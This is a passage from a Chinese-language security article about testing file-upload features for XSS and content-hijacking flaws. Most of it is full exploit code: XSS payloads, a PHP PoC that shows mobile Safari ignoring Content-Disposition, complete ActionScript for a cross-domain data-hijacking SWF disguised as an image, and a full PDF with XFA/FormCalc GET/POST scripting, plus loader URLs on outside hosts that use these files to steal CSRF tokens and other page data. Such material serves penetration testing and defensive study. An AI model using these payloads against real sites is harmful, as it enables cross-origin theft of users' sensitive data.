从XSSer的角度测试上传文件功能

也就是说content-type实际上是根据扩展名来决定的。举个例子,如果目标站允许上传iso文件,且没有设置X-Content-Type-Options=nosniff头,就可以上传内容为<img src=x onerror=alert(1)>的iso文件。只要目标用户通过IE/EDGE对目标进行访问,文件就以text/html的形式解析。

0x05 尴尬的content-disposition头

这里有两个问题。一个是关于safari的,另一个是关于PHP的。

在相对较新的PHP版本当中,作为PHP的新特性如果发生了CRLF注入,目标头就会被移除。这里的问题是,有些程序员喜欢把上传文件名给改了。然后把原始文件名保存到DB当中。如果存储到DB当中文件名包含了0x0D/0x0A/0x00其中的任何一个且在使用content-disposition头对上传的文件进行强制下载时,将原始文件名赋值到了file=""处,那么就会产生一个存储型的CRLF漏洞。作为结果,在新的PHP版本当中content-disposition头会被移除。如果content-disposition是你主要的防线之一,抱歉文件又有可能被解析了。

具体代码可以参考我之前的这条twit:
  1. https://twitter.com/mramydnei/status/782324732897075200


以上问题可以在PHP5.6.17-3可复现。

还有一个就是手机端的safari并不存在下载附件这种功能的问题。如果你允许上传htm文件,但是设置了nosniff,设置了content-disposition那在PC浏览器的世界里不会有任何问题。文件不会被解析,没有XSS。
手机版的safari虽然在一次修复过后已经禁用了这种情况下的JS执行,但是HTML依旧会被解析。
  1. <?php
  2. header("Content-Type:text/html");
  3. header(\'Content-Disposition: attachment; filename="download.htm"\');
  4. header("X-Content-Type-Options: nosniff");
  5. ?>
  6. <a href=javascript:alert(1)>clickme</a>
  7. <script>alert(1)</script>
以上内容在最新的ios for safari 10.0.2可复现。
BTW,ios8.4不但会无视Content-Disposition头,还会执行JS。具体是从哪个版本开始不能直行JS的我也不太清楚。

0x06 图片只检测了扩展名却没有检测magicbyte

这个是老问题了。可以上传扩展名为png/gif/jpg的swf文件,再用irsdl写的exploit直接搞起。
flash源码:
  1. package com.powerflasher.SampleApp {
  2. import flash.external.ExternalInterface;
  3. import flash.display.Sprite;
  4. import flash.display.Sprite;
  5. import flash.events.Event;
  6. import flash.net.URLLoader;
  7. import flash.net.URLRequest;
  8. import flash.text.TextField;
  9. import flash.text.TextFieldAutoSize;
  10. import flash.xml.*;
  11. import flash.events.IOErrorEvent;
  12. import flash.events.*;
  13. import flash.net.*;
  14. /**
  15. * @author User
  16. */
  17. public class CrossDomainDataHijack extends Sprite {
  18. private var loader:URLLoader;
  19. public function CrossDomainDataHijack() {
  20. loader = new URLLoader();
  21. configureListeners(loader);
  22. var target:String = root.loaderInfo.parameters.input;
  23. var request:URLRequest = new URLRequest(target);
  24. try {
  25. loader.load(request);
  26. } catch (error:Error) {
  27. sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
  28. }
  29. }
  30. private function configureListeners(dispatcher:IEventDispatcher):void {
  31. dispatcher.addEventListener(Event.COMPLETE, completeHandler);
  32. dispatcher.addEventListener(Event.OPEN, openHandler);
  33. dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
  34. dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
  35. dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
  36. dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
  37. }
  38. private function completeHandler(event:Event):void {
  39. var loader:URLLoader = URLLoader(event.target);
  40. //trace("completeHandler: " + loader.data);
  41. sendDatatoJS("completeHandler: " + loader.data);
  42. }
  43. private function openHandler(event:Event):void {
  44. //trace("openHandler: " + event);
  45. sendDatatoJS("openHandler: " + event);
  46. }
  47. private function progressHandler(event:ProgressEvent):void {
  48. //trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
  49. sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
  50. }
  51. private function securityErrorHandler(event:SecurityErrorEvent):void {
  52. //trace("securityErrorHandler: " + event);
  53. sendDatatoJS("securityErrorHandler: " + event);
  54. }
  55. private function httpStatusHandler(event:HTTPStatusEvent):void {
  56. //trace("httpStatusHandler: " + event);
  57. sendDatatoJS("httpStatusHandler: " + event);
  58. }
  59. private function ioErrorHandler(event:IOErrorEvent):void {
  60. //trace("ioErrorHandler: " + event);
  61. sendDatatoJS("ioErrorHandler: " + event);
  62. }
  63. private function sendDatatoJS(data:String):void{
  64. trace(data);
  65. ExternalInterface.call("sendToJavaScript", data);
  66. }
  67. }
  68. }
Exploit:
  1. http://0me.me/demo/SOP/CrossDomainDataHijackHelper.html
作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。

0x07 允许上传pdf,验证了magicbyte 却没有设置"Content-Disposition: Attachment"和"X-Content-Type-Options: nosniff"

这个有些限制。IE Only+,默认的PDF浏览器必须是Adobe Reader。
PDF源码:
  1. % Created by Soroush Dalili (@irsdl)
  2. % Released under AGPL (see LICENSE for more information).
  3. % Version 1.2
  4. %PDF-1.1
  5. 1 0 obj
  6. <<
  7. /Pages 2 0 R % Set to the Kids object
  8. /AcroForm
  9. <<
  10. /Fields[3 0 R] % Set to the text field
  11. /XFA 5 0 R % Set to the XDP form
  12. >>
  13. /OpenAction
  14. <<
  15. /S /JavaScript
  16. /JS(
  17. // And here fun begins... chamber of JavaScript god.
  18. var onloadInterval;
  19. var myHostContainer;
  20. var target="";
  21. var postData="";
  22. this.getField("mydata").multiline=true;
  23. function onErrorFunc(e, customMSG) {
  24. var errMessage = customMSG + " -- Error:" + e.toString();
  25. // We like to alert this and that! we don\'t have enough money to pay for a fancy debugger!
  26. app.alert(errMessage);
  27. logIt(errMessage,"1");
  28. }
  29. function onMSGHandlerErrorFunc(e) {
  30. onErrorFunc(e, "Error in messageHandler.");
  31. }
  32. function logIt(strMessage,strType){
  33. //this.getField("mydata").value += strMessage; // I cannot do this when I have XFA?
  34. // strType = 1 -> error!
  35. if(myHostContainer!=null && target!=""){
  36. myHostContainer.postMessage([strMessage,strType]);
  37. }
  38. }
  39. try{
  40. this.disclosed = true; // To tell HTML that I\'m all yours! no not really! just shares a function for onMessage!
  41. if (this.external && this.hostContainer) {
  42. function onMessageFunc( stringArray ) {
  43. try{
  44. target = stringArray[0];
  45. if(stringArray[1])
  46. postData = stringArray[1];
  47. else
  48. postData = "";
  49. // We have our target and everything set-up! If I don\'t delete my PDF file accidentally again, it should work fine!
  50. var contents = "";
  51. if(postData!="")
  52. contents = objMy_fc_Form.func.Post(target,postData);
  53. else
  54. contents = objMy_fc_Form.func.Get(target);
  55. if(contents==""){
  56. contents = "Target page was not accessible."; // I\'m so sorry master!
  57. logIt(contents,"1");
  58. }else{
  59. contents = contents; // This is the apple! I want to eat it now! He said...
  60. logIt(contents,"0");
  61. }
  62. }
  63. catch(e){
  64. onErrorFunc(e , "Error in connecting to HTML section");
  65. }
  66. }
  67. try {
  68. if(!this.hostContainer.messageHandler);
  69. this.hostContainer.messageHandler = new Object();
  70. this.hostContainer.messageHandler.myDoc = this;
  71. this.hostContainer.messageHandler.onMessage = onMessageFunc;
  72. //this.hostContainer.messageHandler.onError = onMSGHandlerErrorFunc;
  73. this.hostContainer.messageHandler.onDisclose = function(){
  74. return true;
  75. };
  76. }
  77. catch(e){
  78. onErrorFunc(e, "Error in setting messageHandler attributes.");
  79. }
  80. function clearIntervals(){
  81. app.clearInterval(onloadInterval);
  82. }
  83. if(this.hostContainer) {
  84. try{
  85. // To announce that PDF is ready for action!
  86. myHostContainer = this.hostContainer;
  87. onloadInterval = app.setInterval("this.hostContainer.postMessage([\'loaded\',\'1\']);",500);
  88. app.setTimeOut("clearIntervals();",5000); // Keep sending the message for 5 seconds to make sure HTML will receive it
  89. }
  90. catch(e){
  91. onErrorFunc(e, "Error in telling HTML about PDF loading!");
  92. }
  93. }
  94. }
  95. }catch(e){
  96. onErrorFunc(e, "Error somewhere in the code!");
  97. }
  98. )
  99. >>
  100. /Type /Catalog
  101. >>
  102. endobj
  103. 2 0 obj
  104. <<
  105. /Kids[
  106. <<
  107. /Parent 2 0 R
  108. % /Contents[10 0 R] % For the content
  109. /Annots 4 0 R % Set to the annotation which points to the field - I needed this to show the text box
  110. >>
  111. ]
  112. /Resources
  113. <<
  114. /ProcSet [ /PDF /Text ]
  115. >>
  116. >>
  117. 3 0 obj<<
  118. /Rect[0 0 800 800]
  119. /Subtype/Widget
  120. /T(mydata) % this is the name
  121. /V(Hello World from PDF!) % this is the value
  122. /Type
  123. /Annot
  124. /FT
  125. /Tx
  126. /Subtype
  127. /Widget
  128. >>
  129. endobj
  130. 4 0 obj[3 0 R]
  131. endobj
  132. % My XDP Form
  133. % Interaction between JavaScript and FormCalc
  134. % Got the idea from: blogs.adobe.com/formfeed/files/formfeed/fragments/scFormCalc.xdp and
  135. % http://blogs.adobe.com/formfeed/2009/02/calling_formcalc_functions_fro.html
  136. 5 0 obj <<>>
  137. stream
  138. <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  139. <config><present><pdf><interactive>1</interactive></pdf></present></config>
  140. <template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
  141. <?formServer defaultPDFRenderFormat acrobat9.0static?>
  142. <subform name="myXFAForm" locale="en_US" layout="tb">
  143. <pageSet>
  144. <pageArea>
  145. <contentArea x="0.25in" y="0.25in" w="8in" h="10.5in"/>
  146. <medium stock="letter" short="8.5in" long="11in"/>
  147. </pageArea>
  148. </pageSet>
  149. <subform access="readOnly" h="19.05mm" name="fc" w="141.41mm">
  150. <variables>
  151. <script contentType="application/x-javascript" name="func">
  152. var objDoc=-1;
  153. /**
  154. * This script object contains a series of functions
  155. * that redirect their input to the corresponding formcalc
  156. * functions.
  157. * If you want to call these functions from an initialization script,
  158. * be sure to place the fc subform at the front of the template. <br/>
  159. * Version 2: Added Get(). Use execEvent("enter") instead of the calculate event.
  160. * Calculate was introducing un-needed dependency tracking.
  161. */
  162. var oVersionInfo = {
  163. identifier: "FormCalcFromJavaScript",
  164. assetType: "fragment",
  165. description: "Support for FormCalc functions: Format(), Parse(), WordNum(), Uuid(), UnitValue(), Get()",
  166. currentVersion: 2
  167. };
  168. /*global F P1 P2 NullValue ResultString */
  169. /**
  170. * Format a value based on a picture
  171. * @param vPicture - the picture clause
  172. * @param vValue - The value to format
  173. * @return the formatted value. Empty string if the format fails.
  174. */
  175. function Format(vPicture, vValue)
  176. {
  177. F.value = "Format";
  178. P1.value = vPicture;
  179. P2.value = vValue;
  180. NullValue.value = vValue === null;
  181. this.execEvent("enter");
  182. return ResultString.value;
  183. }
  184. /**
  185. * Parse a value based on a picture
  186. * @param vPicture - the picture clause
  187. * @param vValue - The value to parse
  188. * @return the raw/canonical value. Empty string if the parse fails.
  189. */
  190. function Parse(vPicture, vValue)
  191. {
  192. F.value = "Parse";
  193. P1.value = vPicture;
  194. P2.value = vValue;
  195. this.execEvent("enter");
  196. return ResultString.value;
  197. }
  198. /**
  199. * Convert a number into words. Note that currently only English is supported.
  200. * @param vInputValue
  201. * @return the value expressed as words.
  202. */
  203. function WordNum(vInputValue)
  204. {
  205. F.value = "WordNum";
  206. // Make sure we convert all numeric input values to string
  207. // all parameters to formcalc functions are strings
  208. P1.value = vInputValue.toString();
  209. this.execEvent("enter");
  210. return ResultString.value;
  211. }
  212. /**
  213. * Return a Universally Unique Identifier (UUID) string.
  214. * @param vN1 identifies the format of UUID string requested:<br/>
  215. * if the value is 0, the returned UUID string will only contain hex octets.<br/>
  216. * if the value is 1, the returned UUID string will contain dash characters separating the sequences of hex octets, at fixed positions.
  217. * @return the uuid value string
  218. */
  219. function Uuid(vN1)
  220. {
  221. F.value = "Uuid";
  222. P1.value = vN1.toString();
  223. this.execEvent("enter");
  224. return ResultString.value;
  225. }
  226. /**
  227. * Returns the value of a unitspan after an optional unit conversion.
  228. * A unitspan string consist of a number immediately followed by a unit name.
  229. * Recognized unit names include:in, mm, cm, pt
  230. * @param vMeasurement -- the measurement string value
  231. * @param vUnits - the units to convert to
  232. * @return the numeric value in the requested units
  233. */
  234. function UnitValue(vMeasurement, vUnits)
  235. {
  236. F.value = "UnitValue";
  237. P1.value = vMeasurement;
  238. P2.value = vUnits;
  239. this.execEvent("enter");
  240. // cast return value to the expected type.
  241. return parseFloat(ResultString.value);
  242. }
  243. /**
  244. * Download the contents of the given URL.
  245. * @param vAddress -- the requested URL
  246. * @return the contents of the URL.
  247. */
  248. function Get(vAddress)
  249. {
  250. F.value = "Get";
  251. P1.value = vAddress;
  252. this.execEvent("enter");
  253. return ResultString.value;
  254. }
  255. /**
  256. * Download the contents of the given URL.
  257. * @param vAddress -- the requested URL
  258. * @param vContent -- POST data
  259. * @return the contents of the URL.
  260. */
  261. function Post(vAddress,vContent)
  262. {
  263. F.value = "Post";
  264. P1.value = vAddress;
  265. P2.value = vContent;
  266. this.execEvent("enter");
  267. return ResultString.value;
  268. }
  269. function Test(){
  270. //setTimeOut(\'app.alert(this.getField("mydata"))\',3000);
  271. //app.alert(app.getField);
  272. return -1;
  273. }
  274. </script>
  275. <?templateDesigner expand 1?></variables>
  276. <bind match="none"/>
  277. <event activity="initialize" name="event__initialize">
  278. <script contentType="application/x-javascript">
  279. // Define all the variables needed to pass parameters to/from the FormCalc functions
  280. /*global fc */
  281. if (fc.variables.nodes.namedItem("F") === null) {
  282. this.variables.nodes.append(xfa.form.createNode("text", "F"));
  283. this.variables.nodes.append(xfa.form.createNode("text", "P1"));
  284. this.variables.nodes.append(xfa.form.createNode("boolean", "NullValue"));
  285. this.variables.nodes.append(xfa.form.createNode("text", "P2"));
  286. this.variables.nodes.append(xfa.form.createNode("text", "ResultString"));
  287. this.variables.nodes.append(xfa.form.createNode("text", "P3"));
  288. this.variables.nodes.append(xfa.form.createNode("text", "P4"));
  289. this.variables.nodes.append(xfa.form.createNode("text", "P5"));
  290. }
  291. // Record this for now as JavaScript god may not send us a better fruit! Adam said!
  292. fc.func.objDoc=event.target;
  293. // We need to send this up where JavaScript god can use it! ;)
  294. event.target.objMy_fc_Form = fc;
  295. </script>
  296. </event>
  297. <event activity="enter" name="event__enter">
  298. <script contentType=\'application/x-formcalc\'>
  299. ; execute the requested function based on the input
  300. ; request parameters
  301. if (F == "WordNum") then
  302. ResultString = WordNum(P1)
  303. elseif (F == "Parse") then
  304. ResultString = Parse(P1, P2)
  305. elseif (F == "Format") then
  306. if (NullValue) then
  307. ResultString = Format(P1, null)
  308. else
  309. ResultString = Format(P1, P2)
  310. endif
  311. elseif (F == "Uuid") then
  312. ResultString = Uuid(P1)
  313. elseif (F == "UnitValue") then
  314. ResultString = UnitValue(P1, P2)
  315. elseif (F == "Get") then
  316. ResultString = Get(P1)
  317. elseif (F == "Post") then
  318. ResultString = Post(P1, P2)
  319. ; POST in FormCalc can accept more inputs such as additional headers!
  320. ; example: Post(P1, P2, "application/x-www-form-urlencoded", "utf-8", "Referer: " + P1);
  321. else
  322. ResultString = ""
  323. endif
  324. </script>
  325. </event>
  326. <?templateDesigner expand 1?>
  327. <?templateDesigner isFragment yes?>
  328. <?templateDesigner fragmentTitle scFormCalc?>
  329. <?templateDesigner fragmentDescription Allow access to FormCalc built in functions from JavaScript?>
  330. </subform>
  331. </subform>
  332. <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.8/?>
  333. <?templateDesigner FormTargetVersion 28?>
  334. <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
  335. <?templateDesigner Zoom 56?></template>
  336. </xdp:xdp>
  337. endstream
  338. endobj
  339. 6 0 obj
  340. <<
  341. /Producer (@irsdl)
  342. /Subject (Sec test)
  343. /Title (Sec test)
  344. /Author (root)
  345. /Keywords (Sec test)
  346. >>
  347. endobj
  348. % The following object is disabled which could be used in the content
  349. %10 0 obj
  350. %<<
  351. %>>
  352. %stream
  353. % BT/default 10 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET
  354. %endstream
  355. %endobj
  356. trailer
  357. <<
  358. /Size 8
  359. /ID [ (irsdl) (MyfancyPDF) ]
  360. /Root 1 0 R
  361. /Info 6 0 R
  362. >>
Exploit:
  1. https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://15.rs/ContentHijacking/objects/ContentHijacking.pdf&objtype=pdf&target=https://0me.me/&postdata=param1=foobar&logmode=all?ex=owasp.*&isauto=1
作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。